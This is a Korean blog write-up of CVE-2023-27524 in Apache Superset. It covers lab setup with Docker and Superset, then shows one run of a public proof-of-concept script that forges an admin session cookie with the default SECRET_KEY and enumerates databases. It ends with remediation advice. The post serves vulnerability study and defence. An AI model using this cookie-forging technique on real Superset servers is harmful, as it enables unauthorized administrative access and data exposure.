정보보안/CVE

[CVE-2023-27524] Apache Superset 취약점

록스타★ 2024. 7. 1. 16:32
반응형

요약

이 문서에서는 공격자가 apache 취약점(CVE-2023-27524)을 악용하는 방법을 보여줍니다. 애플리케이션 apache superset을 사용합니다.

취약한 애플리케이션에는 다음과 같은 특징이 있습니다.

[Docker] Ubuntu에 Docker 설치하기

(그림1) Docker

공통 설치 명령어는 아래와 같습니다.

설치 후에 docker version 명령어로 도커가 설치되었는지 확인하면 됩니다.

sudo wget -qO- <http://get.docker.com/> | sh

위 명령어로 설치가 되지 않는다면

1. 필수 패키지 설치

apt-get를 업데이트하고 필수 패키지를 설치합니다.

sudo apt-get update

sudo apt-get install -y \\
    ca-certificates \\
    curl \\
    gnupg \\
    lsb-release

2. Docker 설치

도커를 설치한 후 dorker version 명령어를 입력하여 버전이 정상적으로 나오면 설치 완료입니다.

curl -fsSL <https://download.docker.com/linux/ubuntu/gpg> | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg

echo \\
  "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] <https://download.docker.com/linux/ubuntu> \\
  $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

apt-get update
apt-get install -y docker-ce docker-ce-cli containerd.io

docker version

그림(2) docker 설치 후 버전

 

3. Docker 활성화

systemctl을 통해 Docker를 활성화 시켜줍니다.

sudo systemctl enable docker
sudo systemctl start docker

sudo systemctl enable containerd
sudo systemctl start containerd

4. 컨테이너 실행

hello-world 컨테이너를 실행해서 정상적으로 설치가 되었는지 확인할 수 있습니다.

sudo docker run --rm hello-world

그림(3) 컨테이너 실행

 

도커 설치 완료 후에 도커 안에 apache superset을 설치합니다.

그림(4) Apache Superset (출처 : Apache Superset)

5. 종속성 패키지 설치

호스트에 설치하는 경우 OS 환경에 대한 종속성을 가집니다. 설치에는 root 권한이 필요합니다.

apt update
apt install build-essential libssl-dev libffi-dev python3-dev python3-pip libsasl2-dev libldap2-dev

6. python 가상 환경 생성

기존 python 환경에 영향이 없도록 별도의 가상 환경을 생성하여 사용할 것입니다.

# 가상 환경 생성
python3 -m venv superset

# 활성화
source superset/bin/activate

7. Superset 설치

pip을 이용해 가상 환경에 superset을 설치합니다.

pip install apache-superset

8. Superset 설치 확인

정상적으로 설치되었는지 확인합니다.

superset --help

Superset 설치를 확인 한 후 실행합니다.

9.데이터베이스 초기화

superset db upgrade

10.관리자 계정 생성

비밀번호를 제외하고는 기본 값을 사용했습니다. 그래서 db 초기화 단계에서 에러가 발생하지 않았어도 FLASK_APP 환경 변수 초기화가 필요합니다.

export FLASK_APP=superset
superset fab create-admin

그림(5) 관리자 계정 생성

 

CVE 2023-27524 POC

% python3 CVE-2023-27524.py --url <http://localhost:8080>   --validate
Got session cookie: eyJjc3JmX3Rva2VuIjoiMTY0ZWExNWJlMDhmNWM2ZmZmOGFhNTExZThhMjUzYjM1YWY5MTdlNiIsImxvY2FsZSI6ImVuIn0.ZEc07w.CAkEJ7AtDlpfvVok-w0JQVcJqa0
Decoded session cookie: {'csrf_token': '164ea15be08f5c6fff8aa511e8a253b35af917e6', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc07w.fOAFW0_5gLUTkIbeR_5AqEz2DoU
Sleeping 5 seconds before using forged cookie to account for time drift...
Got 302 on login, forged cookie appears to have been accepted
Enumerating databases
Found database examples
Found database PostgreSQL
Done enumerating databases
  1. --url http://localhost:8080 : 이 스크립트는 명령줄에서 -url 옵션을 통해 지정된 URL (http://10.1.221.202:8080)로%EB%A1%9C/) 접근합니다.
  2. "Got session cookie" : 스크립트가 대상 URL에 접근하여 세션 쿠키를 획득한 것으로 보입니다.
  3. "Decoded session cookie" : 세션 쿠키의 내용을 해독한 결과를 표시합니다. 이 경우, **csrf_token**과 **locale**와 같은 세션 정보가 나열되어 있습니다.
  4. "Superset Version: 2.0.1" : 대상 서버의 Superset 버전이 2.0.1임을 나타냅니다.
  5. 0"Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'" : 대상 서버가 취약점 CVE-2023-27524에 취약하다는 메시지입니다. 또한, **SECRET_KEY**가 기본값인 것을 나타냅니다. **SECRET_KEY**는 응용 프로그램의 보안을 유지하는 데 중요한 역할을 하는 비밀 값입니다.
  6. "Forged session cookie for user 1" : 관리자 계정으로 로그인하기 위한 조작된 세션 쿠키를 생성한 것입니다. 이 세션 쿠키는 관리자 계정으로 로그인한 것처럼 보이게 됩니다.
  7. "Now visit the url: --url http://localhost:8080/superset/welcome..." : 이 부분에서는 생성된 조작된 세션 쿠키를 사용하여 관리자로 로그인하기 위한 단계를 안내하고 있습니다. 해당 URL을 방문하고 이전에 생성된 세션 쿠키로 현재 세션 쿠키를 대체한 다음 페이지를 새로고침하면 관리자로 로그인된 대시보드에 액세스할 수 있게 됩니다.

 

영상 자료

 

그림(6) CVE 2023-27524 - superset

 

 

문제 해결

Apache Superset 최신버전 설치

SECRET_KEY 암호화

스크립트가 사용 중인 SECRET_KEY를 감지했지만 악용 가능성을 확인할 수 없는 경우 다음과 같은 이유일 수 있습니다.

    • 대상 서버는 SSO와 통합되어 있으며 사용자 ID는 자동 증가 형식을 따르지 않습니다( -id알고 있는 경우 특정 user_id를 설정하는 인수를 사용해 보세요).
    • 아직 구성된 사용자가 없습니다.
    • 대상과 기계 사이의 시간 드리프트. Flask 세션 쿠키는 타임스탬프 요소로 서명됩니다. 코드에서 절전 간격을 5초로 늘려보세요.

 

 

 

결론

CVE 2023-27524를 분석하고 보고서를 작성한지는 꽤 오래 됐는데 블로그에 포스팅하기까지는 꽤 오래 걸린 것 같다.

포트포워딩 및 칼리를 사용해서 안한 게 아쉬워서 올릴까 말까 고민하다가 올리게 되었다. 보고서가 깔끔하게 정리되지 않아서 가독성이 조금 안 좋은 것 같다. ㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠ  

 

참조

https://github.com/horizon3ai/CVE-2023-27524#troubleshooting

 

GitHub - horizon3ai/CVE-2023-27524: Basic PoC for CVE-2023-27524: Insecure Default Configuration in Apache Superset

Basic PoC for CVE-2023-27524: Insecure Default Configuration in Apache Superset - horizon3ai/CVE-2023-27524

github.com

 

 

반응형